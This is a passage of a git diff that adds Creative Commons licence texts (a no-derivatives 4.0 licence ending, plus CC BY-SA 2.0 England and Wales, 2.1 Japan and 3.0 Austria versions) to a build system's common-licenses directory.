+ i. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ j. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce and reproduce, but not Share, Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
+ 3. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 4. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database, provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.0-UK b/meta/files/common-licenses/CC-BY-SA-2.0-UK
new file mode 100644
index 0000000000..ea3df21954
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.0-UK
@@ -0,0 +1,147 @@
+Creative Commons Attribution - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Share-Alike.
+
+ f. "Original Author" means the individual (or entity) who created the Work.
+
+ g. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+ h. For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for use and for the duration of copyright in the Work.
+
+You may:
+
+ * copy the Work;
+
+ * create one or more derivative Works;
+
+ * incorporate the Work into one or more Collective Works;
+
+ * copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ * publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ * impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * sublicense the Work;
+
+ * subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ * make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ * recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ * to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * the Work; or
+
+ * any Derivative Work; or
+
+ * the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * a Derivative Work; or
+
+ * a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ * a licence to the Derivative Work on the same terms and conditions as the licence granted to You hereunder; or
+
+ * a later version of the licence granted to You hereunder; or
+
+ * any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.1-JP b/meta/files/common-licenses/CC-BY-SA-2.1-JP
new file mode 100644
index 0000000000..7971930e3f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.1-JP
@@ -0,0 +1,83 @@
+アトリビューション—シェアアライク 2.1
+(帰属—同一条件許諾)
+クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは法律事務所ではありません。この利用許諾条項の頒布は法的アドバイスその他の法律業務を行うものではありません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、この利用許諾の当事者ではなく、ここに提供する情報及び本作品に関しいかなる保証も行いません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、いかなる法令に基づこうとも、あなた又はいかなる第三者の損害(この利用許諾に関連する通常損害、特別損害を含みますがこれらに限られません)について責任を負いません。
+
+利用許諾
+
+本作品(下記に定義する)は、このクリエイティブ・コモンズ・パブリック・ライセンス日本版(以下「この利用許諾」という)の条項の下で提供される。本作品は、著作権法及び/又は他の適用法によって保護される。本作品をこの利用許諾又は著作権法の下で授権された以外の方法で使用することを禁止する。
+
+許諾者は、かかる条項をあなたが承諾することとひきかえに、ここに規定される権利をあなたに付与する。本作品に関し、この利用許諾の下で認められるいずれかの利用を行うことにより、あなたは、この利用許諾(条項)に拘束されることを承諾し同意したこととなる。
+
+第1条 定義
+
+この利用許諾中の用語を以下のように定義する。その他の用語は、著作権法その他の法令で定める意味を持つものとする。
+
+ a. 「二次的著作物」とは、著作物を翻訳し、編曲し、若しくは変形し、または脚色し、映画化し、その他翻案することにより創作した著作物をいう。ただし、編集著作物又はデータベースの著作物(以下、この二つを併せて「編集著作物等」という。)を構成する著作物は、二次的著作物とみなされない。また、原著作者及び実演家の名誉又は声望を害する方法で原著作物を改作、変形もしくは翻案して生じる著作物は、この利用許諾の目的においては、二次的著作物に含まれない。
+ b. 「許諾者」とは、この利用許諾の条項の下で本作品を提供する個人又は団体をいう。
+ c. 「あなた」とは、この利用許諾に基づく権利を行使する個人又は団体をいう。
+ d. 「原著作者」とは、本作品に含まれる著作物を創作した個人又は団体をいう。
+ e. 「本作品」とは、この利用許諾の条項に基づいて利用する権利が付与される対象たる無体物をいい、著作物、実演、レコード、放送にかかる音又は影像、もしくは有線放送にかかる音又は影像をすべて含むものとする。
+ f. 「ライセンス要素」とは、許諾者が選択し、この利用許諾に表示されている、以下のライセンス属性をいう:帰属・同一条件許諾
+
+第2条 著作権等に対する制限
+
+この利用許諾に含まれるいかなる条項によっても、許諾者は、あなたが著作権の制限(著作権法第30条〜49条)、著作者人格権に対する制限(著作権法第18条2項〜4項、第19条2項〜4項、第20条2項)、著作隣接権に対する制限(著作権法第102条)その他、著作権法又はその他の適用法に基づいて認められることとなる本作品の利用を禁止しない。
+
+第3条 ライセンスの付与
+
+この利用許諾の条項に従い、許諾者はあなたに、本作品に関し、すべての国で、ロイヤリティ・フリー、非排他的で、(第7条bに定める期間)継続的な以下のライセンスを付与する。ただし、あなたが以前に本作品に関するこの利用許諾の条項に違反したことがないか、あるいは、以前にこの利用許諾の条項に違反したがこの利用許諾に基づく権利を行使するために許諾者から明示的な許可を得ている場合に限る。
+
+ a. 本作品に含まれる著作物(以下「本著作物」という。)を複製すること(編集著作物等に組み込み複製することを含む。以下、同じ。)、
+ b. 本著作物を翻案して二次的著作物を創作し、複製すること、
+ c. 本著作物又はその二次的著作物の複製物を頒布すること(譲渡または貸与により公衆に提供することを含む。以下同じ。)、上演すること、演奏すること、上映すること、公衆送信を行うこと(送信可能化を含む。以下、同じ。)、公に口述すること、公に展示すること、
+ d. 本作品に含まれる実演を、録音・録画すること(録音・録画物を増製することを含む)、録音・録画物により頒布すること、公衆送信を行うこと、
+ e. 本作品に含まれるレコードを、複製すること、頒布すること、公衆送信を行うこと、
+ f. 本作品に含まれる、放送に係る音又は影像を、複製すること、その放送を受信して再放送すること又は有線放送すること、その放送又はこれを受信して行う有線放送を受信して送信可能化すること、そのテレビジョン放送又はこれを受信して行う有線放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+ g. 本作品に含まれる、有線放送に係る音又は影像を、複製すること、その有線放送を受信して放送し、又は再有線放送すること、その有線放送を受信して送信可能化すること、その有線テレビジョン放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+
+上記に定められた本作品又はその二次的著作物の利用は、現在及び将来のすべての媒体・形式で行うことができる。あなたは、他の媒体及び形式で本作品又はその二次的著作物を利用するのに技術的に必要な変更を行うことができる。許諾者は本作品又はその二次的著作物に関して、この利用許諾に従った利用については自己が有する著作者人格権及び実演家人格権を行使しない。許諾者によって明示的に付与されない全ての権利は、留保される。
+
+第4条 受領者へのライセンス提供
+
+あなたが本作品をこの利用許諾に基づいて利用する度毎に、許諾者は本作品又は本作品の二次的著作物の受領者に対して、直接、この利用許諾の下であなたに許可された利用許諾と同じ条件の本作品のライセンスを提供する。
+
+第5条 制限
+
+上記第3条及び第4条により付与されたライセンスは、以下の制限に明示的に従い、制約される。
+
+ a. あなたは、この利用許諾の条項に基づいてのみ、本作品を利用することができる。
+ b. あなたは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンス(例えば、この利用許諾の新しいバージョン、又はこの利用許諾と同一のライセンス要素の他国籍ライセンスなど)に基づいてのみ、本作品の二次的著作物を利用することができる。
+ c. あなたは、本作品を利用するときは、この利用許諾の写し又はURI(Uniform Resource Identifier)を本作品の複製物に添付又は表示しなければならない。
+ d. あなたは、本作品の二次的著作物を利用するときは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンスの写し又はURIを本作品の二次的著作物の複製物に添付または表示しなければならない。
+ e. あなたは、この利用許諾条項及びこの利用許諾によって付与される利用許諾受領者の権利の行使を変更又は制限するような、本作品又はその二次的著作物に係る条件を提案したり課したりしてはならない。
+ f. あなたは、本作品を再利用許諾することができない。
+ g. あなたは、本作品又はその二次的著作物の利用にあたって、この利用許諾及びその免責条項に関する注意書きの内容を変更せず、見やすい態様でそのまま掲載しなければならない。
+ h. あなたは、この利用許諾条項と矛盾する方法で本著作物へのアクセス又は使用をコントロールするような技術的保護手段を用いて、本作品又はその二次的著作物を利用してはならない。
+ i. 本条の制限は、本作品又はその二次的著作物が編集著作物等に組み込まれた場合にも、その組み込まれた作品に関しては適用される。しかし、本作品又はその二次的著作物が組み込まれた編集著作物等そのものは、この利用許諾の条項に従う必要はない。
+ j. あなたは、本作品、その二次的著作物又は本作品を組み込んだ編集著作物等を利用する場合には、(1)本作品に係るすべての著作権表示をそのままにしておかなければならず、(2)原著作者及び実演家のクレジットを、合理的な方式で、(もし示されていれば原著作者及び実演家の名前又は変名を伝えることにより、)表示しなければならず、(3)本作品のタイトルが示されている場合には、そのタイトルを表示しなければならず、(4)許諾者が本作品に添付するよう指定したURIがあれば、合理的に実行可能な範囲で、そのURIを表示しなければならず(ただし、そのURIが本作品の著作権表示またはライセンス情報を参照するものでないときはこの限りでない。)(5)二次的著作物の場合には、当該二次的著作物中の原著作物の利用を示すクレジットを表示しなければならない。これらのクレジットは、合理的であればどんな方法でも行うことができる。しかしながら、二次的著作物又は編集著作物等の場合には、少なくとも他の同様の著作者のクレジットが表示される箇所で当該クレジットを表示し、少なくとも他の同様の著作者のクレジットと同程度に目立つ方法であることを要する。
+ k. もし、あなたが、本作品の二次的著作物、又は本作品もしくはその二次的著作物を組み込んだ編集著作物等を創作した場合、あなたは、許諾者からの通知があれば、実行可能な範囲で、要求に応じて、二次的著作物又は編集著作物等から、許諾者又は原著作者への言及をすべて除去しなければならない。
+
+第6条 責任制限
+
+この利用許諾の両当事者が書面にて別途合意しない限り、許諾者は本作品を現状のまま提供するものとし、明示・黙示を問わず、本作品に関していかなる保証(特定の利用目的への適合性、第三者の権利の非侵害、欠陥の不存在を含むが、これに限られない。)もしない。
+
+この利用許諾又はこの利用許諾に基づく本作品の利用から発生する、いかなる損害(許諾者が、本作品にかかる著作権、著作隣接権、著作者人格権、実演家人格権、商標権、パブリシティ権、不正競争防止法その他関連法規上保護される利益を有する者からの許諾を得ることなく本作品の利用許諾を行ったことにより発生する損害、プライバシー侵害又は名誉毀損から発生する損害等の通常損害、及び特別損害を含むが、これに限らない。)についても、許諾者に故意又は重大な過失がある場合を除き、許諾者がそのような損害発生の可能性を知らされたか否かを問わず、許諾者は、あなたに対し、これを賠償する責任を負わない。
+
+第7条 終了
+
+ a. この利用許諾は、あなたがこの利用許諾の条項に違反すると自動的に終了する。しかし、本作品、その二次的著作物又は編集著作物等をあなたからこの利用許諾に基づき受領した第三者に対しては、その受領者がこの利用許諾を遵守している限り、この利用許諾は終了しない。第1条、第2条、第4条から第9条は、この利用許諾が終了してもなお有効に存続する。
+ b. 上記aに定める場合を除き、この利用許諾に基づくライセンスは、本作品に含まれる著作権法上の権利が存続するかぎり継続する。
+ c. 許諾者は、上記aおよびbに関わらず、いつでも、本作品をこの利用許諾に基づいて頒布することを将来に向かって中止することができる。ただし、許諾者がこの利用許諾に基づく頒布を将来に向かって中止した場合でも、この利用許諾に基づいてすでに本作品を受領した利用者に対しては、この利用許諾に基づいて過去及び将来に与えられるいかなるライセンスも終了することはない。また、上記によって終了しない限り、この利用許諾は、全面的に有効なものとして継続する。
+
+第8条 その他
+
+ a. この利用許諾のいずれかの規定が、適用法の下で無効及び/又は執行不能の場合であっても、この利用許諾の他の条項の有効性及び執行可能性には影響しない。
+ b. この利用許諾の条項の全部又は一部の放棄又はその違反に関する承諾は、これが書面にされ、当該放棄又は承諾に責任を負う当事者による署名又は記名押印がなされない限り、行うことができない。
+ c. この利用許諾は、当事者が本作品に関して行った最終かつ唯一の合意の内容である。この利用許諾は、許諾者とあなたとの相互の書面による合意なく修正されない。
+ d. この利用許諾は日本語により提供される。この利用許諾の英語その他の言語への翻訳は参照のためのものに過ぎず、この利用許諾の日本語版と翻訳との間に何らかの齟齬がある場合には日本語版が優先する。
+
+第9条 準拠法
+
+この利用許諾は、日本法に基づき解釈される。
+
+本作品がクリエイティブ・コモンズ・ライセンスに基づき利用許諾されたことを公衆に示すという限定された目的の場合を除き、許諾者も被許諾者もクリエイティブ・コモンズの事前の書面による同意なしに「クリエイティブ・コモンズ」の商標若しくは関連商標又はクリエイティブ・コモンズのロゴを使用しないものとします。使用が許可された場合はクリエイティブ・コモンズおよびクリエイティブ・コモンズ・ジャパンのウェブサイト上に公表される、又はその他随時要求に従い利用可能となる、クリエイティブ・コモンズの当該時点における商標使用指針を遵守するものとします。クリエイティブ・コモンズは https://creativecommons.org/から、クリエイティブ・コモンズ・ジャパンはhttp://www.creativecommons.jp/から連絡することができます。
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-AT b/meta/files/common-licenses/CC-BY-SA-3.0-AT
new file mode 100644
index 0000000000..365b5f705d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-AT
@@ -0,0 +1,139 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER „SCHUTZGEGENSTAND“ DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", „LIZENZ“ ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
